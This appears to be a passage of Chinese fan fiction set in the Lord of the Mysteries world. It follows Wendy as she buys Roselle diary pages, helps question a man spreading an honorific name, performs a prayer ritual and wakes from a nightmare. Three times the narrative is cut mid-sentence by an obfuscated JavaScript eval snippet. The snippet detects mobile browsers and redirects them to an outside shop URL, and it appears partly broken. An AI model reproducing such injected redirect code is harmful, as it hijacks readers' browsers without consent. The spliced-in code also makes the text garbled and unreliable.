上午的核心议题是关于雪伦夫人的后续行动。鉴于雪伦夫人是明确的目标,且疑似魔女们在廷根的负责人,其危险性毋庸置疑,队长拍板在下周四针对雪伦夫人展开一次秘密调查与可能的控制行动。 令你略感意外的是,邓恩队长点名让你参与这项任务。理由是你的灵感可能在辨识异常和追溯线索方面可能有独特作用。 对于与雪伦夫人有着重要关联,甚至可能是其下级的特莉丝,邓恩队长分享了从代罚者和机械之心那边反馈的信息:特莉丝的肖像已经分发下去,但截至目前,无论是线人网络还是占卜手段,都未能锁定这位新任“女巫”的踪迹,无法确定她还留在廷根。 下午,你哪儿也没去,就待在公司的休息室,抱着厚重的《鲁恩语语法精要》和《赫密斯语入门》啃了起来,主要是为阿德米索尔这个文盲学生提前备课。在这之前你从没有教过这么简单的知识。 这样一看就看了一下午。 揉了揉发涩的眼睛,你决定去码头区的非凡市场碰碰运气。倒不是想买什么,主要是因为明天又是一周的周一了,只有一页罗塞尔日记还是太寒酸,所以想去非凡市场看看有没有罗塞尔日记可以白剽,只记不买那种。 好消息是确实有摊贩卖罗塞尔日记。 坏消息是不能只看不买。 你只是拿起一张泛黄的纸张装模作样地看,那个裹着旧头巾的摊主就抬起眼皮,慢悠悠地说:“小姐,罗塞尔大帝密文,不买不看。10苏勒一张。” 10苏勒一张?!怎么不把钱给我,我立马去老尼尔那抄几张卖给你! 你因为这个价格有些咬牙切齿,试图讨再挣扎一下:“我就看看,又不会弄坏……” 但摊主不为所动:“知识有价,小姐。特别是罗塞尔大帝的智慧。” “……5张能不能便宜点?” “最多抹个零头,5张算你2磅。” 2磅! 你的心在滴血。这相当于40苏勒,8磅白面包也才2苏勒3便士,可以整整吃18磅的白面包,你家一家四口都够吃好一会了! 你很气,一边觉得罗塞尔大帝的日记肯定是无价,10苏勒一张已经是很便宜的价格了,一边觉得完全看不懂的文字就算是罗塞尔大帝写的也是废纸一张。但想到愚者先生可以解读这些文字,想到未来你可能可以认识愚者口中的“汉字”……你咬了咬牙,掏出钱包,数出两张1磅的纸币,无比心痛地递了过去。 “给!” 愚者先生啊,您可千万要说话算话…… 你心里哀嚎着,小心翼翼地将五张一共价值2磅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238698|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗塞尔日记收好。虽然不知道何年何月才能攒够所谓的贡献去兑换,但提前累积总没错。 哪怕一页日记最终只能让我认识一个字,也是赚了! 你如此安慰自己。 揣着昂贵的日记残页,你小心翼翼收好,晃到了罗森的民俗草药店。 推门进去,风铃叮当。达克威尔正指挥着他的学徒谢尔敏处理一批草药,而角落里你的学生阿德米索尔则安静地坐在小凳子上。他面前放着一个石臼,正一丝不苟地将某种根茎状药材研磨成细腻的粉末。 “胖……咳,达克威尔先生。” 你及时改口,目光扫过店内。谢尔敏比往常更加忙碌,来回穿梭于货架和操作台之间,额角都见了汗,偶尔瞥向阿德米索尔。 这是把阿德米索尔当成竞争对象了? 你心中暗笑,看来阿德米索尔这个廉价的劳动力,给这位正牌药师学徒带来了一点压力。不过这是好事,良性竞争嘛。你没点破,径直走向阿德米索尔。 检查了他的功课(几个写得歪歪扭扭的鲁恩字母,惨不忍睹),又抽问了他昨天教字母发音。好在阿德米索尔只是字写得难看,但知识还是记住了,能认识字母也会读了。 达克威尔还让阿德米索尔展示了才艺。他抽问了阿德米索尔几种基础草药的性状和粗略处理方式,令人惊喜的是,阿德米索尔跟着达克威尔这个真“药师”磨药粉还真学到点东西,还都能一一答出来,可喜可贺,可喜可贺。 “这些需要亲手触摸、感受的活计,他都理解和记住了,多亏了达克威尔先生教得好。” 你看向达克威尔,感谢他的教导。达克威尔哼了一声,没否认,只是嘟囔:“算还有点用处,不是纯来我这吃饭的。” 给阿德米索尔上完今天的文化课(主要是复习字母和认识几个简单的单词),又看着他完成达克威尔布置的捣药任务,时间已经不早了,你准备打道回府睡大觉。 “那我先走了,达克威尔。阿德米索尔就拜托你了。” 你收拾东西准备离开。 达克威尔挥了挥手,表示知道了。 然而,刚踏出草药店那扇挂着风铃的木门,你就愣住了。 一辆熟悉的、带有警署标志的马车悄无声息地停在了店门前。深色的车身在煤气灯下泛着冷光。 心里“咯噔”一下,你一瞬间想到了很多:警察?□□?达克威尔这里被盯上了? 你瞬间联想到生命学派的隐秘性、店里那些可能涉及非凡的药材,还有阿德米索尔这个不久前还在流浪的家伙…… 就在你惊疑不定时,马车门打开,两个人影先后下来。看清来人,你更是有些惊讶——是邓恩队长和克莱恩。 找我?还是胖达? 你心里更疑惑了。 队长依旧穿着那身笔挺的黑色督察常服,脸色沉静,灰色的眼眸在夜色中显得格外深邃。克莱恩则跟在他身后,表情严肃,看到你时,对你快速点了点头。 看来情况还不是太糟。 克莱恩上前一步,用简洁清晰的语言快速说明了现在的情况:“温蒂,不用紧张,是这样的,还记得我扮演‘占卜家’的那个俱乐部吗?” 你点了点头:“记得,你的第一单生意还是我去捧场的。” 克莱恩笑了出来,这让你放松了许多:“是的,那家俱乐部的常驻导师海纳森·凡森特,就是占卜一次要4苏勒那位,他最近向一些对神秘学感兴趣的少女,私下分享了一个……来历不明的尊名。我们刚刚确认,那个尊名,指向的是‘命运’领域的某位隐秘存在,很可能与生命学派有关。” 你瞬间明白了。海纳森·凡森特传播了涉及命运的不知名尊名! 这可不是小事!值夜者必然要追查来源,而廷根市目前已知与生命学派有关的,除了你这个半吊子“命运眷者”,就是达克威尔这里这个明面上的联络点了! 好吧,这下真是警察“□□”了,你和胖达一起被查了。 你立刻转身,朝店里喊道:“达克威尔!出来一下!有……客人!” 达克威尔闻声从里间探出头,看到门口的邓恩队长和克莱恩,尤其是他们身后那辆标志性的马车,圆脸上的轻松瞬间消失,擦了擦手,慢慢走了出来。 邓恩队长站在台阶下,目光平静地扫过你和达克威尔,微微颔首:“佩洛蒙西娅小姐,达克威尔先生。有些情况需要向二位了解一下,希望没有打扰太晚。” 81.第79章 非凡事件真的太频繁了吧 你们一行四人(你、达克威尔、邓恩队长、克莱恩)走进了达克威尔的药店。 谢尔敏和阿德米索尔看到去而复返的你,又注意到队长身上那套代表着高级警官身份的正式制服,都不由自主地流露出紧张的神色。阿德米索尔甚至下意识地往谢尔敏身后缩了缩。 “没事,谢尔敏,阿德米索尔。” 你见状,主动开口安抚,同时抬手稍微介绍了一下,“这两位都是我的同事。我们有点事情要谈。谢尔敏,你带阿德米索尔先到楼上去休息吧,暂时不用下来了。” 谢尔敏看了看达克威尔,见他没有反对,便点了点头,拉了一下还有些不安的阿德米索尔,两人一前一后,快步走上了狭窄的楼梯。邓恩·史密斯自始至终神色平静,没有插话,只是用那双灰色的眼眸静静地观察着店内陈设和这你们的反应。 等楼上传来关门声,一楼大厅暂时只剩下你们四人。达克威尔搬来两张旧椅子,你们就在摆放着未处理药材的木桌旁围坐了下来。气氛有些凝滞,只有煤气灯燃烧的嘶嘶声。 克莱恩从随身携带的皮质笔记本里撕下一张纸,又向达克威尔借了钢笔和墨水。他蘸了蘸墨水,在纸上流畅地写下几行赫密斯文,然后将纸推到了你和达克威尔面前。 纸上写着: “徘徊不去的英灵, 真实造物主的眷属, 凝视命运的眼睛。” “这就是那个被分享的尊名。” 克莱恩用他平稳的声线解释道,同时说起了得知此事的经过,“今晚,我去参加了我妹妹一位朋友的成人礼。在场有位家境优渥、对神秘学颇有兴趣的小姐,私下炫耀她从占卜俱乐部的海纳森·凡森特先生那里得到的‘秘密知识’,其中就包括这段指向不明的尊名。我恰好听到,觉得不妥,便设法劝阻了她尝试诵念的打算。” 听起来似乎不是特别严重的事件,至少被克莱恩及时阻止了。 你用手肘轻轻碰了碰旁边的达克威尔,低声问:“胖达,那个海纳森·凡森特……也是我们学派的人?你认识吗?” 达克威尔闻言,胖脸上露出无奈的表情,双手一摊:“这我上哪儿知道去?我们学派的人本来就散在各处,大多师徒单线联系,或者干脆像我这样找个地方窝着。每隔几年才会在特里尔召开一次大会。就算开会,我也不可能认全所有人。更别说这几年里,上面或者别的渠道新吸收的成员,我不认识太正常了。” 他的解释合情合理,生命学派的结构确实是非常松散,你也一直是靠胖达单线向上面联系。 邓恩队长一直安静地听着,此时才开口,声音沉稳:“达克威尔先生,那么,以你对学派内部的了解,这段尊名,可能指向哪位存在?它提到了‘真实造物主’。” 达克威尔的眉头皱了起来,他盯着那段尊名,摇了摇头:“队长先生,我只是一个序列九的‘药师’,在学派里属于最底层跑腿办事的那一类。高序列的事情,我知道的非常有限。不过,” 他话锋一转,指了指尊名,“‘真实造物主的眷属’这个指向非常明确。在我们学派内部,如果一定要找一位既与‘命运’相关,又明显和真实造物主有深厚联系的高位存在……” 他停顿了一下,似乎在回忆和确认,然后缓缓说出一个名字: “那大概只有……‘始祖’座下最古老、最强大的弟子之一, ‘吞尾者’——乌洛琉斯。据说祂是‘命运’途径的顶端存在,是天使那个级别的强者,唯一能和祂相比较的只有‘始祖’的另一位弟子,两位天使都是‘始祖’意志最直接的体现者。乌洛琉斯大人同样是真实造物主教会的命运天使,这在学派内部也不是什么绝密,只是我们这种低序列很少会去探究原因。” “始祖的弟子……信仰真实造物主?” 你忍不住插嘴,觉得这关系有点拧巴。 达克威尔瞥了你一眼,用一副“这有什么好奇怪”的语气反问道:“你不也是‘始祖’的眷者吗,你不也信仰的黑夜女神?高序列存在之间的关系,哪是我们能完全理解的?或许对乌洛琉斯大人而言,那并非‘信仰’,而是另一种形式的……联系或契约。” 你被他的话噎住了。仔细一想,好像……真是这样。你还是黑夜教会的值夜者呢,念诵“始祖”尊名也是为了试探和祈求帮助。以此类推,乌洛琉斯与真实造物主的关系,可能远比简单的“信仰”复杂得多。 “乌洛琉斯……” 邓恩队长低声重复这个名字,灰眸中神色深邃,“一位同时与‘命运’和真实造物主相关的天使……这段尊名在廷根市上流社会的年轻小姐中流传,绝非小事。罗森先生,你是否能通过你的渠道,确认海纳森·凡森特与生命学派,或者与这位乌洛琉斯是否存在关联?以及,他传播这段尊名,是个人行为,还是代表了某种信号?” 达克威尔脸上露出了为难的神色:“队长,这个……我会想办法问问我的老师,也会在向上层的报告中说明的。但我不能保证什么。学派内部联系并不紧密,而且涉及到高位存在,我这种小角色很难打听到核心消息。我只能说,会尽力去留意。” “我明白了。感谢你的坦诚和配合,罗森先生。” 邓恩队长点点头,没有强求。他转向我,“温蒂,你作为值夜者,同时也是……与学派有关联的人,需要更加警惕。任何与这段尊名、与乌洛琉斯、甚至与海纳森·凡森特有关的异常,都要立刻报告。” “是,队长。” 你郑重应下。 …… 短暂的沉默在狭小的药店一楼弥漫,只有烛火偶尔轻微的噼啪声。邓恩队长似乎整理好了思绪,刚想开口,你也恰好因为一个突发的念头而卡住了声音。你们几乎同时顿住,目光在空中相触。 “温蒂,你先说。” 邓恩队长微微颔首,灰色的眼眸示意你。 “不不不,队长,您先说。” 你连忙道。 队长没再推辞,用他一贯沉稳的语气说道:“今晚的询问暂时到此为止。具体情况我们还需要进一步核实。达克威尔先生,感谢你的配合。你们先休息吧。” 说完,他看向你,显然在等你刚才想说的话。 没想到队长是打算收工了,你动了动嘴唇,有些犹豫地抬手挠了挠脑袋,一边观察着队长的表情,一边组织语言:“我……我本来是想说,既然海纳斯传播的尊名可能指向乌洛琉斯,而乌洛琉斯又与‘始祖’有关……我们能不能,直接向‘始祖’祂老人家祈祷询问,问问他海纳斯到底是不是学派的人,或者他想干什么?” 这个想法听起来有些大胆,甚至有点偷懒取巧的嫌疑,但你觉得可行。 邓恩队长显然没料到你会提出这种近乎“走后门”式的解决方案,脸上露出了明显的怔愣。旁边的克莱恩闻言,也谨慎地开口:“这个想法……理论上或许可行?尼尔先生确实能通过仪式向女神祈求一些……嗯,不那么常规的帮助。但是,‘始祖’会理会这种具体到某个人的询问吗?而且,这合适吗?” 他话说到一半,大概想起了你之前“祈求好梦立刻倒地不起”的光辉事迹,语气变得有些不确定,“……不过,按照你之前的经验,这位‘始祖’确实……” 达克威尔这时插了进来,语气带着一种见怪不怪的平淡:“‘始祖’几乎从没有明确的意志传达,记忆中除了学派内部流传的故事,祂也从不降下清晰的神谕,但也从没有听说过‘始祖’不回应某位信徒……” 他顿了顿,似乎在想怎么形容,“只要祈求的事项在‘始祖’能回答的范畴内,且没有触及某些根本禁忌,基本上……很快就会有结果或启示显现,只是形式可能因人而异。” 他看向你,又看了看队长,“需要的话,我这里有现成的仪式材料。” 听他这么一说,你这才后知后觉地反应过来,自己上次向“始祖”祈祷时,不仅没摆祭台,连最基本的供奉(比如象征性的食物或清水)都没有! 完全是干念尊名外加一个模糊的祈求……这简直是大不敬啊! 啊……就这么窝窝囊囊、糊里糊涂地干了对老师大不敬的事…… 你一下子有点心虚起来。哈哈,看来自己的老师“始祖”性格很随和啊。 但是,你没敢当着队长、克莱恩和达克威尔的面说出这件事。你有种强烈的预感,一旦说出口,绝对会被他们三人(尤其是队长和克莱恩)联合起来好好教育一顿,关于神秘学仪式的严肃性、对高位存在的基本敬畏等等…… 光是想象那个场景,你就觉得头皮发麻。这绝对会成为现实吧! 邓恩队长沉默地思考了片刻,目光扫过达克威尔准备拿出的香烛和精油,又看了看你。他最终没有拒绝达克威尔的提议,这几乎等同于默许了你的建议。 “可以尝试。但务必谨慎,注意安全。” 达克威尔点点头,转身开始麻利地布置。他用一块干净的布擦净了你们围坐的那张旧方桌,然后上楼取出一个香炉,将三支普通的红色香烛插进香炉中。 你下意识闻了闻,没从烛烟中闻出什么檀香之类的气息,心里不禁嘀咕:“始祖的要求比愚者先生还低啊,愚者先生还要檀香蜡烛呢……” 你的思绪又有些飘远,不对,不能想了!对神明要尊敬! 接着,达克威尔拿出一个小巧的琉璃瓶,里面装着浅金色的清澈精油。他一边往每根蜡烛的烛身上小心地各滴上一滴,一边解释:“这是用苜蓿草、白栗花、柠檬草为主调和的,算是‘命运’领域的常用辅材,温蒂你要是需要可以从我这里拿点带走。” 精油滴下,散发出一种清新中带着微涩的草木香气,并不浓烈。 你以为这就布置完了,没想到达克威尔又转身从柜台下的抽屉里取出一个小小的白瓷摆件,并且点燃一块灰白色的、散发着淡淡檀木与草药混合气味的锥形香块,放在香炉前。接着又拿出一个擦得锃亮的银质小杯,往里倒了少许清水,置于桌面中央。 你思考了一会,才从记忆的角落里翻出老尼尔曾经提过一嘴的知识:对于不擅长仪式魔法、灵性控制不够精细,或者祈求对象位格较高、沟通存在难度的非凡者,往往需要借助更多的象征物和辅助手段来稳定仪式、放大祈求意念、并保护自身。 “这是你们生命学派向‘始祖’祈祷的方式吗?”你看向发问的人,发现克莱恩的表情似乎有些怪异,“啊,我是说,我很少见到这样的仪式。” “啊,这个啊,这没什么,现今你们教会内部的仪式主要是参考了摩斯苦修会在仪式魔法上的一些观念和成果,我们学派内部早些年也讨论过要不要更新学派内传统的祈祷方式。不过那时候我还没有加入学派,那次学派大会的讨论结果也是遵循古法。” 达克威尔的语起很轻松:“我还以为你会先问‘始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244192|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖’的雕像呢?” “这是你们‘始祖’的雕像?”这一次发问的是队长,你知道队长为什么会询问,不管黑夜女神,还是真实造物主、风暴之主,大陆上所有正统的神灵都未曾留下具体的形象,供奉的、崇拜的只能是祂们的象征。 但你仔细看了看白瓷雕像,觉得如果胖达不说,你也不会认为这个雕像是“始祖”——从外表看那更像是呈细长三角的不规则白瓷摆件,现在仔细端详才看出那雕的是一个裹着厚重白纱的人,但唯一和人有关系的只有一张闭目慈悲的脸。 罗森·达克威尔点了点头,一副“就知道你们要问”的模样:“这也是学派传统,我们认为,‘始祖’是仁慈的、广博的……哎呀,跟你们说这么多干什么,你们正神教会‘不可直视神’,我们又是野学派,我们没那么多讲究!” 克莱恩似乎还想问什么,但被胖达一个挥手打断了。 “好了。” 达克威尔布置完毕,拍了拍手上并不存在的灰尘,转向你,“现在,你站台前来,双手合十朝始祖拜三下,然后念诵‘始祖’的尊名和祈求内容。” 你愣了一下,以为会是达克威尔这个更熟悉学派仪式的人来提问,闻言顿时紧张起来:“啊?我?怎么不是你来……”你面对“始祖”还是有点心虚。 “废话,你和我肯定是你跟‘始祖’沟通效果最好,你和我谁和‘始祖’联系更深?我都属于是徒孙辈了。” 那胖达你是不是应该尊称我为师奶…… 硬着头皮,你深吸一口气,走到方桌前,照达克威尔说的双手合十鞠躬三下,凝视着摇曳的烛火和那杯清水,集中精神,用清晰的赫密斯语缓缓念诵: “交织万物命运之线的古老纺者;” “循环因果与时空的永恒之环;” “超脱纪元生灭的永生之钥。” “我祈求命运的力量;” “我祈求始祖的眷顾;” “祈求您告诉我,海纳斯·凡森特传播此尊名,其目的为何?” 紧接着,我按照仪式辅助的需要,依次呼唤草药的象征力量: “苜蓿草啊,属于命运的草药,请将力量传递给我的咒文!” “白栗花啊,属于命运的草药,请将力量传递给我的咒文!” “柠檬草啊,属于命运的草药,请将力量传递给我的咒文!” 随着最后一个音节落下,那种熟悉的、仿佛周围空气密度骤然增大的沉静感再次降临,将桌边的你们与外界的声音和气息短暂隔绝。与此同时,层层叠叠、意义不明的呓语如同潮水般涌入你的脑海。 然而,在这片混乱的呓语与沉静之中,一句清晰无误、含义明确的“话语”,如同刻印般,直接浮现在你的思维最表层: “海纳斯·凡森特的目的,是试图在廷根,尤其是对神秘学有兴趣且有一定社会影响力的年轻群体中,传播真实造物主的信仰。” 这信息来得如此直接、简洁,甚至没有多余的修饰。 猛地从那种沉静感中抽离,意识回归现实。你眨了眨眼,回过神来,将始祖给出的答案复述了一遍。 店内出现了短暂的沉默,但气氛反而轻松了下来。 “传播真实造物主的信仰……” 邓恩队长低声重复了一句,灰色的眼眸中闪过一丝了然,随即恢复了平时的沉稳。他轻轻颔首,语气中带着一种处理常规事务的平静:“呵,这些极光教会的信徒总是这样……” 在因蒂斯共和国和南大陆一些地区,真实造物主是合法且颇具影响力的正神之一,掌握着‘倾听者’途径,信徒向来以传播信仰为己任,这在北大陆并非秘密。 队长看向克莱恩:“这位海纳森·凡森特先生,很可能就是一位‘倾听者’,或者至少是真实造物主的虔诚信徒。他将尊名分享给那些对神秘学感兴趣的年轻人,行为本身……虽然不合规矩,容易引发不必要的关注,但就动机而言,在其教会教徒内,算是常见之举。” 克莱恩闻言,脸上原本的凝重神色舒缓了不少,点头表示理解:“原来如此。我明白了,队长。只要他的目的相对单纯,并非刻意散布污染或制造混乱,那风险就可控。我会继续留意占卜俱乐部那边的动向,确保不会有哪位小姐因为好奇而进行危险的尝试。” “没错。” 邓恩肯定了克莱恩的想法,“我们的职责是维持廷根的安宁,防止非凡事件对普通民众造成危害。对于这种……嗯,比较‘热情’的传教行为,重点在于监控和引导,而非将其视为严重的敌对行动。当然,必要的记录和上报是不能少的。” 他的态度明确地将此事定性为一件需要管理但无需过度紧张的“日常事务”。 达克威尔在一旁耸了耸肩,胖脸上露出一副“早猜到会是这样”的表情,一边开始收拾仪式材料,一边嘟囔道:“行了,问题搞清楚了就行。真是的,搞得这么正式,我还以为是什么大事。下次这种小事,让你们的值夜者自己用常规手段排查就好了。” “上门‘查瓦斯’就是常规手段啊。”你为自己所在的值夜者说话,“而且‘始祖’也没说什么。” “……给我对‘始祖’放尊重点啊你这个命运眷者。” “……我错了。”但是始祖真的有求必应的话真的好好用啊,所以下次还敢。 82.第80章 自己吓自己 既然海纳森·凡森特传播尊名的事情初步定性为“真实造物主教会信徒的传教行为”,邓恩队长便结束了这次问询,只说今晚他会去再证实一下,你估摸着应该就是入梦验证了。 他叮嘱达克威尔近期留意是否有其他异常,又对你和克莱恩交代了几句保持观察的话,便让你们先回去休息。 “温蒂,你坐总部的马车回家吧。” 邓恩队长指了指门外那辆带有警徽的马车。 有免费公家车坐,你当然欣然接受,毕竟这么晚了,能省下出租马车的钱总是好的。 克莱恩家在弗拉德街西边,一路都是宽敞的大路,顺路。于是西泽尔规划路线决定先送他回家。 车厢里,你和克莱恩简单交流了几句关于今晚事情的看法,都认为暂时不必过度紧张,但需保持关注。但克莱恩对生命学派似乎扬起了一些兴趣,你感觉他有些若有若无地想要打听学派内部的习俗。不过可惜,你知道的也不比他多多少。很快,克莱恩在他家附近的街口下了车,礼貌地道别。 马车再次启动,朝着北边贝克西特街的方向驶去。车厢里只剩下你和邓恩队长。 夜晚的街道很安静,只有车轮碾过石板的规律声响和偶尔远处传来的犬吠。或许是紧绷的神经终于放松下来,又或许只是单纯地到了睡眠时间,你感觉眼皮越来越沉,窗外的煤气灯光和建筑物轮廓逐渐扭曲、模糊,融合成一片片流动的、印象派油画般的色块。 邓恩队长低沉的声音忽然响起,仿佛从很远的地方飘来,却又清晰地钻入你的耳中: “温蒂。” 你努力集中精神,看向对面的队长:“嗯?” “你……” 他顿了一下,似乎在斟酌词句,“真的信任那位‘始祖’吗?” 你努力聚焦视线,看向队长。他的侧脸在车窗外流动的光影中显得有些不真实。 “嗯……信任吧。虽然听谁说过,不能盲目相信神明的仁慈,但就我自己的感觉来说,我确实还没付出过什么代价。而且……” 你揉了揉发涩的眼睛,“我能感觉到,我和其他‘怪物’好像不太一样。我能看到的东西更多,而且受到的反噬也更小。也许,从达克威尔成为我们线人开始,甚至更早,就有‘始祖’的安排在里面?我不确定。但到目前为止,我得到的帮助是实实在在的,还没见到坏处。” 队长安静地听着,面容在车厢摇晃的光影中晦暗不明。过了一会儿,他的声音再次响起,平静无波:“如果,神明给予的帮助,只是为了在未来某个时刻,从你这里收取它想要的代价呢?” 你沉默了。这个问题你并非没有想过,思绪却飘回了那天在拉斐尔墓园,队长说起那些逝去同伴时的沉静侧脸,还有爸爸提到的、那位受伤后只能搬到下街的工友伯格叔叔。 “代价啊……”你喃喃道,语气里带着自己都没察觉到的坦然,“就算没有神明的眷顾,很多人仅仅是为了活下去,不也一直在被收取代价吗?健康、时间、尊严、希望……我爸爸的一个工友伯格叔叔,只是工作时摔伤了背,就几乎失去了一切。我爸爸和他的工友们,每天出卖力气,不也是在支付生存的代价吗?” 你顿了顿,似乎在整理自己有些跳跃的思绪,然后尝试用轻松甚至带点玩笑的语气总结: “所以,相比之下,先拿到实实在在的帮助,再在未来支付可能的代价……感觉还挺良心的?至少是明码标价,先付报酬,而且说明这个雇主比我自己还相信我不会让祂的投资亏本。” 你说完,忍不住在困倦中扯出一个模糊的笑容。 邓恩队长没有再说话。马车里的沉默蔓延开来,只剩下车轮碾过石板的规律声响,催眠般让人眼皮越来越重。 不知过了多久,马车似乎停下了。你迷迷糊糊地感觉到车门被打开,夜晚微凉的空气涌了进来。 “到了。” 队长简短地说。 队长伸手掀开了你这一侧的车厢门帘。清冷的夜风灌入,让你稍微清醒了一瞬,站起身,脚步有些摇晃地下了马车。 你下意识地回头,想对队长道别。然而,从你的角度看,队长的脸完全隐没在车厢内部的阴影中,只有那双灰色的眼眸,在黑暗中异常清晰地映着远处某盏煤气灯微弱反光,幽幽的,仿佛两簇燃烧的鬼火。 一股没来由的心慌突然擒住了你。 那目光太冷了,是一种完全审视的眼神,绝不会是邓恩队长的眼神! 你站在家门口,被这目光钉在原地,身体微微发颤。 “队长?” 你觉得自己声音有点干涩,“晚、晚安?” 他没有回应你。只有那双眼睛,在黑暗的车厢里,沉默地注视着你。 这诡异的沉默和凝视让你脊背发凉。你不明白,刚才在车上还算平和的对话,为什么突然变成了这样? “队长……你还有什么事吗?” 你鼓起勇气又问了一遍。 队长为什么会这么看我,眼前的是队长吗?他发现了什么,是有敌人出现了吗?还是我说错了什么?我泄露了什么?还是……? 在这令人窒息的凝视中,你低下头避开了他的视线。目光无意间扫过门前廊道的一小滩积水—— 然后,你看到了。 你看到自己的手臂、身体轮廓,甚至思绪,都开始分解,拉伸出无数细密、冰冷的线条。这些线条互相缠绕,又不断错位,试图按照某种无法理解的诡异图纸进行重组。 然而,你依旧清醒地认知到——身后,有你亲爱的家人;面前,是你敬爱的队长。 不。不能在这里。不能变成那种东西。不能伤害他们。不要用那种眼神看我,我不是怪物…… 我不想成为真正的怪物。 这个念头牢牢抓住了你即将消散的自我意识。几乎是本能地,在自己彻底“线化”之前,你把手放到了腰间。 “砰——!” 眼前的图景应声而碎!如同被重锤击中的玻璃,哗啦一声彻底崩散。 “嚇——!” 你猛地从马车座椅靠背上弹直了身体。 心脏在胸腔里疯狂擂鼓,后背瞬间被冷汗浸透。眼前是完好无损、微微晃动的马车车厢,窗外是正常后退的笼罩在夜色中的贝克西特街建筑。 对面,邓恩队长正坐着,但此刻,他脸上也是一种罕见的怔愣。那双灰色的眼睛微微睁大,正一眨不眨地看着你,里面清晰地映出了你惊魂未定的模样。 你们俩就这么在行驶的马车上,大眼瞪小眼,一时之间谁都没说话。空气中弥漫着一种混合着惊吓、尴尬,还有因为未散尽的梦境导致的诡谲的沉默。 几秒钟令人窒息的沉默后。还是邓恩率先从这意外的局面中回过神来。他没有立刻追问或解释,而是先细微地调整了一下坐姿,身体微微前倾,是一个带有安抚意味却不过分侵入私人空间的姿态。他灰色的眼眸中的怔愣迅速褪去,取而代之的是一种深切的歉意和担忧。 “温蒂,” 他开口,声音比平时更加低沉,语气非常郑重,“你还好吗?刚才……我很抱歉。” 他顿了顿,似乎在寻找最恰当的词语,眉头微蹙,眼神里充满了真诚的懊恼,“我没想到会让你产生如此……剧烈的反应。这绝非我的本意。让你受到这样的惊吓,是我的严重失职,也是一个极不绅士、极不合格的行为。” 其实你想把自己摔回椅背,正面龇牙瞪队长,用眼神表达你最大的抗议,但队长道歉的态度非常端正,没有丝毫推诿或试图轻描淡写,这让原本积攒了一肚子后怕和委屈的你,像被针扎破的气球,火气一下子泄了大半,但残余的那点惊吓和不满依旧让心里堵堵的。 你张了张嘴,想控诉他刚才在梦里那副死盯着自己的样子有多吓人,但话到嘴边,却被另一种更强烈、更突如其来的感受覆盖了——一种枷锁尽去、灵性圆融贯通的感觉,如同冰层解冻,清晰得无法忽视。 “……队长,” 你听到自己的声音还有些发飘,但带着一种奇异的肯定,“我的‘怪物’魔药……好像,彻底消化了。” “……” 邓恩队长明显愣了一下,他准备好的后续道歉和解释似乎被你这句话带偏了节奏,原本凝重的表情出现了一瞬间的空白,那双灰色的眼睛里闪过一丝清晰的错愕。他大概以为你会害怕、会生气、会追问,却万万没想到等来的是这样一个完全出乎意料的“好消息”。 他迅速收敛了那丝错愕,但关切的重点也随之自然而然地发生了转移。他没有急于追问细节,而是先确认你的状态:“彻底消化?你是说……你感觉已经完全掌握了‘怪物’魔药的力量?” 他的语气带着谨慎的探究,而非质疑。 “嗯,不过不是‘掌握’,是‘消化’。” 你纠正道,努力平复着呼吸,感受着体内那种前所未有的轻松与协调感,“就是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到他如此诚恳,甚至带着点自责的样子,你心里那点疙瘩也差不多解开了。你摆了摆手,语气缓和了不少:“算了算了……虽然吓得不轻,但结果总归是好的。就是下次队长你要是再想尝试什么,记得提前打个招呼。” 你看着他。 “当然。” 邓恩毫不犹豫地点头,表情严肃地承诺,“绝不会再有下次。任何形式的尝试或训练,都必须建立在充分沟通和绝对安全的基础上。这次是我考虑不周。” 他再次郑重地说道:“所以,让我再次为我给你带来的糟糕体验道歉,温蒂。” 听到队长有点检讨意味的道歉,你别开了视线,回忆着魔药完全消化的感觉: “大概有两次,我有明显的消化成功的感受。”你竖出两根手指,“一次是,我意识到‘怪物’的扮演是遵循灵性直觉,顺应命运,做出他人眼中奇怪的事。第二次是刚刚,我意识到我不想成为真正的怪物。” 邓恩队长闻言,灰色的眼眸中闪过一丝明悟,他微微颔首:“你的意思是,当你在总结出或者意识到某种符合扮演的法则时,会让你有明显消化的感觉?”你点了点头:“大概是这样,然后我平时使用能力的时候也几乎都是在基于我的灵性直觉,所以属于是一直在无意识地扮演。” 你开始猜想队长扮演“梦魇”的法则会是什么:“我觉得‘梦魇’应该不是简单地在梦里吓唬别人,就我刚刚的……嗯,感受来说,单纯的噩梦其实不会让我很恐惧,但是队长你刚刚那样盯着我看是真的吓到我了。”队长似乎又要道歉,但是你继续说着,没有给他开口的机会,“那种感觉到周围明明很熟悉,但是熟悉的人或事却发生了诡异的变化,才是让我最恐惧的,因为不知道会发生什么,所以会不自主地往最差的方向去猜测。” “作为高灵感的途径,我最害怕的就是失控了。尤其是所有官方非凡者都会强调失控的危害,然后我又见过同途径被高灵感所害,精神很不稳定的样子。” 这时,马车缓缓停下,真的到了你家门口。 邓恩队长率先起身,利落地下车,然后非常自然地转过身,向你伸出手,这是一个标准的帮助女士下车的绅士举动。你借着他的力道稳稳落地。 